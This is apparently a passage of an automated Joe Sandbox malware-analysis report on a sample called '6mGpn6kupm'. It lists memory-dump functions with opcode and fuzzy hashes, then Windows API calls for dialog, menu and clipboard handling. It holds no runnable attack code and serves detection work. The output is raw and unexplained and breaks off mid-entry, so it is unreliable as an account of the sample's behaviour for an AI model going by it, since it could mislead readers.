Instruction ID: 808cea87e37f0ebb76c54ee496ad38b61d97d4b57d17253f133fd7b903b286ec
Opcode Fuzzy Hash: 14a8504eafb5bc63c21dc5be76b770d2d5459eff4d4eeb6e8dacaa2853a0e20e
Instruction Fuzzy Hash: 57C19F74E00258CFEB14DFA9C994B9DBBB2BF89300F5081A9D809AB355DB355E86CF50

Function 34CAEBF7 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf426f77454030c87b9c9ec5458eedb937274b7a9a31628c0af29faacd0a79f7
Instruction ID: 31bab5245a96051c659cfc08216755229f44b833eecf9a8ff28ca2b97b4188d9
Opcode Fuzzy Hash: bf426f77454030c87b9c9ec5458eedb937274b7a9a31628c0af29faacd0a79f7
Instruction Fuzzy Hash: B7C19F74E00258CFEB14DFA9C994B9DBBB2BF89300F5081A9D409AB355DB359E86CF50

Function 37A80FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 275c602aa136c884908866646f11cf1392a7414ca972c459028b061e0386e2be
Instruction ID: cce55dde944a1309faaeb5a35c17d5d3bd3f1c0138085b2bc1fd668c7de537ef
Opcode Fuzzy Hash: 275c602aa136c884908866646f11cf1392a7414ca972c459028b061e0386e2be
Instruction Fuzzy Hash: 13C1A074E00218CFEB54DFA9C994B9DBBB2BF89300F5080A9D819AB355DB355E86CF10

Function 37A867C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae411fcb6981ce7f57ddf47d8d8540162c657f90ef35b667b62d009896dd4a1
Instruction ID: a46946501dda7db2d21415e23abc67d51d62ceac632a09c32610bd7f58a36cc8
Opcode Fuzzy Hash: 2ae411fcb6981ce7f57ddf47d8d8540162c657f90ef35b667b62d009896dd4a1
Instruction Fuzzy Hash: 6FC19074E00218CFEB14DFA9C994B9DBBB2BF89304F5081A9D819AB355DB355E85CF10

Function 37A85F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4adbe37669dc72a1e74be97aa094041380778100bd995f61e5b08ee4e9037318
Instruction ID: 456bb6ad8a93160697ed3b420e95622c431dccda4cd647f01330b310e9bf392c
Opcode Fuzzy Hash: 4adbe37669dc72a1e74be97aa094041380778100bd995f61e5b08ee4e9037318
Instruction Fuzzy Hash: 2EC19F74E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E86CF10

Function 37A83F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb3a8ae74f8a4b9fdd5e99f028117efde110dd712011a2a92057747b6b0f2512
Instruction ID: 2b6f6f6d0ccae7b99a3824b984ab6337cde5658c0848321f7280f6235be373ec
Opcode Fuzzy Hash: cb3a8ae74f8a4b9fdd5e99f028117efde110dd712011a2a92057747b6b0f2512
Instruction Fuzzy Hash: 68C19174E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E85CF50

Function 37A836C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ae6c8b501a2b3c54aeb902c869fdf485f852316d94c0b20a9749671108afb8
Instruction ID: 0f17b62c5650373b2a9253d701e1ed20d3483e4c34c43915042e6e303775678d
Opcode Fuzzy Hash: 71ae6c8b501a2b3c54aeb902c869fdf485f852316d94c0b20a9749671108afb8
Instruction Fuzzy Hash: 2CC18174E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E85CF50

Function 37A82E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6502172ef46d757eebbf14caa561996cfa0a24218ca92d386ae967bba77bcaa9
Instruction ID: 8dd2bfc752a47792f3c2ee3e458ef9810a36c16adacc70cd19ce78b7969f9824
Opcode Fuzzy Hash: 6502172ef46d757eebbf14caa561996cfa0a24218ca92d386ae967bba77bcaa9
Instruction Fuzzy Hash: 9CC18F74E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819BB355DB355A86CF50

Function 37A85660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5a1315436e65d31e0f0363592b27ffbd15ad3b86aee2987afee2c3d02a1a616
Instruction ID: b1a6a37b2e4c581b38adc60bb961c33657bbdf71847119a0478bfd08ee37973d
Opcode Fuzzy Hash: f5a1315436e65d31e0f0363592b27ffbd15ad3b86aee2987afee2c3d02a1a616
Instruction Fuzzy Hash: C7C18174E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E85CF50

Function 37A84DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c72f7048c7460fb2f958eba77d100041e5418b9715aaeae073472e510082d63
Instruction ID: 31d7e2c27a437087eddb3d3c60ee03975ed3544ecaf121b602ad0bdebf26ac91
Opcode Fuzzy Hash: 2c72f7048c7460fb2f958eba77d100041e5418b9715aaeae073472e510082d63
Instruction Fuzzy Hash: 1FC18F74E00218CFEB14DFA9C994B9DBBB2BF89300F6081A9D819AB355DB355E85CF50

Function 37A82560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1ffda3776ebfdd4bebd06c4f58dc18adba2de339125b34e420eff950065b71
Instruction ID: ed6e78b5a22889db2a23a537dd2972a4d0e3bbbe855274566c9a6735687f26f6
Opcode Fuzzy Hash: 1e1ffda3776ebfdd4bebd06c4f58dc18adba2de339125b34e420eff950065b71
Instruction Fuzzy Hash: 0EC18274E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB395DB355E85CF50

Function 37A81CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279cc4108f2cbdb595d3cf27308edfed9d36f221e6e3436a468f4a8ddfd19d1c
Instruction ID: 8dc550f562667ce553ff047f5ad0c210e4aefea307fb0451bcfb5abe17c36386
Opcode Fuzzy Hash: 279cc4108f2cbdb595d3cf27308edfed9d36f221e6e3436a468f4a8ddfd19d1c
Instruction Fuzzy Hash: 8EC18174E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E85CF50

Function 37A874C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 396bbef12aa4e19a71ce8e9e51f5baee76cbfc278437df95b4ec9b23e4f77a6a
Instruction ID: d1d9a2b5c5d82c081aee853058aa27f854614ca1a467f652ecce00abd0d9ee5a
Opcode Fuzzy Hash: 396bbef12aa4e19a71ce8e9e51f5baee76cbfc278437df95b4ec9b23e4f77a6a
Instruction Fuzzy Hash: A8C19F74E00218CFEB14DFA9C994B9DBBB2BF89301F5081A9D819AB355DB355E86CF10

Function 37A81400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4199af0f555459349f49c68d16234d357544823556e1e17b9e0c3536be69e6c1
Instruction ID: fd459ccdb6c6ea28d382e0d42caa7a561754415dabac89204314b75a8562e162
Opcode Fuzzy Hash: 4199af0f555459349f49c68d16234d357544823556e1e17b9e0c3536be69e6c1
Instruction Fuzzy Hash: EBC18074E00218CFEB14DFA9C994B9DBBB2BF89300F6081A9D819AB355DB355E85CF50

Function 37A86C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c520798bd730ddf3efc07305d888bf8e2cba16b0aa1b204276c86a61bb9004fc
Instruction ID: e84707a5b3ba9d2e1108a95dd672d4da32b02a462a5e3be45cc3fc8643986eb3
Opcode Fuzzy Hash: c520798bd730ddf3efc07305d888bf8e2cba16b0aa1b204276c86a61bb9004fc
Instruction Fuzzy Hash: 61C18F74E00258CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E86CF10

Function 37A843C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3aecae91ad84db7c1e09c5a1fbe9724518fe3c56c86fb400968b7e13077f3f7
Instruction ID: 42ca59272e583620faac570170c7787f155b20b75371b5c7739ee932b31c1a71
Opcode Fuzzy Hash: a3aecae91ad84db7c1e09c5a1fbe9724518fe3c56c86fb400968b7e13077f3f7
Instruction Fuzzy Hash: 93C18F74E00218CFEB14DFA9C994B9DBBB2BF89304F5081A9D819AB355DB355E86CF10

Function 37A83B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9cddfa9fe7936c70b9378e7eec06ca2d94a6b156c7d1c124e3a2d0ec96866d8
Instruction ID: fd44a62ca6fdff41f64f8319644d67a25760bbc5002c2b60f5db3c9a7d4fed55
Opcode Fuzzy Hash: f9cddfa9fe7936c70b9378e7eec06ca2d94a6b156c7d1c124e3a2d0ec96866d8
Instruction Fuzzy Hash: D2C19074E00218CFEB14DFA9C994B9DBBB2BF89300F5080A9D819AB355DB355E85CF50

Function 37A86368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb38c08b6acec085a95d7945bed562dbd0968e0e8d2f06d8d65b96ffe137fd6
Instruction ID: 9c710d919b60121b093a68a0fc19f9a8c2a8bfffd5f1f2ffa3c100796967f78f
Opcode Fuzzy Hash: eeb38c08b6acec085a95d7945bed562dbd0968e0e8d2f06d8d65b96ffe137fd6
Instruction Fuzzy Hash: F3C18F74E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E86CF50

Function 37A85AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9da39f6946b1bab8b9db24517d827765834120a3f7293c95431e8c25013e12a
Instruction ID: 0743a81ac10c9c419c7b6ff4503dd515b19a75854793ef633314ce7e466a5204
Opcode Fuzzy Hash: a9da39f6946b1bab8b9db24517d827765834120a3f7293c95431e8c25013e12a
Instruction Fuzzy Hash: D7C19074E00218CFEB14DFA9C994B9DBBB2BF89300F5080A9D819AB355DB355E86CF10

Function 37A85208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 482649c5c01ba030efff743aa91c7dd47567931c5686925e763412152711c698
Instruction ID: ab870ca8ea7048cf0f2a8f116e22f7c2cffe0fa7fe08d1f4b934b377e06b09f4
Opcode Fuzzy Hash: 482649c5c01ba030efff743aa91c7dd47567931c5686925e763412152711c698
Instruction Fuzzy Hash: DDC18074E00258CFEB14DFA9C994B9DBBB2BF89300F6081A9D819AB355DB355A85CF10

Function 37A83268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a718729cf1446ac27b093e042e2510ec21eb9993f05997e12aac539079da721e
Instruction ID: 1b88fb5d84d51713fb4bfc963bf6c70360b8f607ea5be8f1d6e99d1e7df05009
Opcode Fuzzy Hash: a718729cf1446ac27b093e042e2510ec21eb9993f05997e12aac539079da721e
Instruction Fuzzy Hash: A2C19F74E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E86CF10

Function 37A829B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb4a0fef177bcea69bcc394188badb10fba5c8adf5e84dc3c4508716781447e
Instruction ID: dbbac7c1294374a5940bcf80a94af3b7bfc861580fa3d43c4692e2bcbf998584
Opcode Fuzzy Hash: 2cb4a0fef177bcea69bcc394188badb10fba5c8adf5e84dc3c4508716781447e
Instruction Fuzzy Hash: 71C19274E01218CFEB54DFA9C994BADBBB2BF89300F5080A9D819AB355DB355E85CF10

Function 37A82108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4927303f1becc8417c2d98feef809b74f67151a4c545892985a5b157147b05cc
Instruction ID: 94dd18bf69ed33a518c8d5603f408c59b431a34ba95c06d4edb3859391dc8952
Opcode Fuzzy Hash: 4927303f1becc8417c2d98feef809b74f67151a4c545892985a5b157147b05cc
Instruction Fuzzy Hash: B8C18274E00218CFEB14DFA5C994BADBBB2BF89300F5081A9D819AB395DB355E85CF50

Function 37A84820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56b0c1e0d92378c108429b2ac3894d24d630f4231229fda3a29572cfac4bfa69
Instruction ID: c30564ae294c30c81c0c27392dd7a1d4ea2793526b8045ece588fd82d2bf48a5
Opcode Fuzzy Hash: 56b0c1e0d92378c108429b2ac3894d24d630f4231229fda3a29572cfac4bfa69
Instruction Fuzzy Hash: CDC19074E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E86CF50

Function 37A87070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc1e560cbe4d39cbe5925d68bd8f208d8ac4792a528641d173e0de7978e229a
Instruction ID: 916944b4e9db34fac774118b6b9bff48b3aadd858e61e0420336fce9301eed5c
Opcode Fuzzy Hash: 4bc1e560cbe4d39cbe5925d68bd8f208d8ac4792a528641d173e0de7978e229a
Instruction Fuzzy Hash: EDC1A174E00218CFEB14DFA9C994B9DBBB2BF89300F5081A9D819AB355DB355E85CF10

Function 34CAC1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae21dc984e6dd2c7f3e1ef523ef99c7817c475ab3cc286b27723029733d6f9e
Instruction ID: 3cb41d69f07030cd85897504b3166098112620e621c7f01bc3d7564b17670c58
Opcode Fuzzy Hash: 2ae21dc984e6dd2c7f3e1ef523ef99c7817c475ab3cc286b27723029733d6f9e
Instruction Fuzzy Hash: CDC18F74E00218CFEB14DFA9C994BADBBB2BF89300F5081A9D419AB355DB355E86CF14

Function 34CAB4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 405fcadc11d72d0ff07b47b9e1989c3ba567ec83d87ba689ef738f31a0ef6a21
Instruction ID: ecef4eb810daf858704d4b81f6f2183a1f197fbb4e9d4aa22fa28e2c10bd382c
Opcode Fuzzy Hash: 405fcadc11d72d0ff07b47b9e1989c3ba567ec83d87ba689ef738f31a0ef6a21
Instruction Fuzzy Hash: 92C18F74E10218CFEB54DFA9C994B9DBBB2BF89300F6081A9D409BB355DB355A86CF10

Function 34CAB944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7adee568b73e94d44de44a1bb4f81cd5274617f31a03834c3a82f8cbc603bb
Instruction ID: 832a537835ad52076b0245993b8355d552478449ad0c44ed3e47c4e349e9743d
Opcode Fuzzy Hash: 6d7adee568b73e94d44de44a1bb4f81cd5274617f31a03834c3a82f8cbc603bb
Instruction Fuzzy Hash: F4C18F74E10218CFEB14DFA9D994B9DBBB2BF89300F5081A9D409BB365DB355A86CF10

Function 37A88193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9ee2909f23e18c10eb983050fe5c040e43170b3fd414ac67105462f79fec8c
Instruction ID: c1c2353ff4d8679f777619a3b14e0ff9156ee8151eb1cde01795b1cfc035f94b
Opcode Fuzzy Hash: dc9ee2909f23e18c10eb983050fe5c040e43170b3fd414ac67105462f79fec8c
Instruction Fuzzy Hash: 56A17E74A01228DFDB64DF64C894B9ABBB2BF8A301F5085E9D80DA7350DB319E81CF51

Function 37A88373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14e693c5ae95c6fcf1abbe19ac03cfd1c3a795b345ffea6385e5891035c642e9
Instruction ID: 549b701337693740bff9e5954acd6d99eca6f1892e0d62ceb17d659767211094
Opcode Fuzzy Hash: 14e693c5ae95c6fcf1abbe19ac03cfd1c3a795b345ffea6385e5891035c642e9
Instruction Fuzzy Hash: 33517F74A01228DFDB69DF24C854B9ABBB2FB4A301F5095E9D80AA7350DB319E81CF54

Function 37A8CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0201a1a4fcf0d9446a2abdc446d7cf3cf32f3fd96c23eb372c0566f10ef47305
Instruction ID: c2cb110c9b612ac0b878c17fe421247d1d0d985a04f63bc69421ef408c04c372
Opcode Fuzzy Hash: 0201a1a4fcf0d9446a2abdc446d7cf3cf32f3fd96c23eb372c0566f10ef47305
Instruction Fuzzy Hash: 19D06C74D4422DDAEB61DFA498403ECB7B1AB9A300F0024A68498A7200DBB19E948A56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

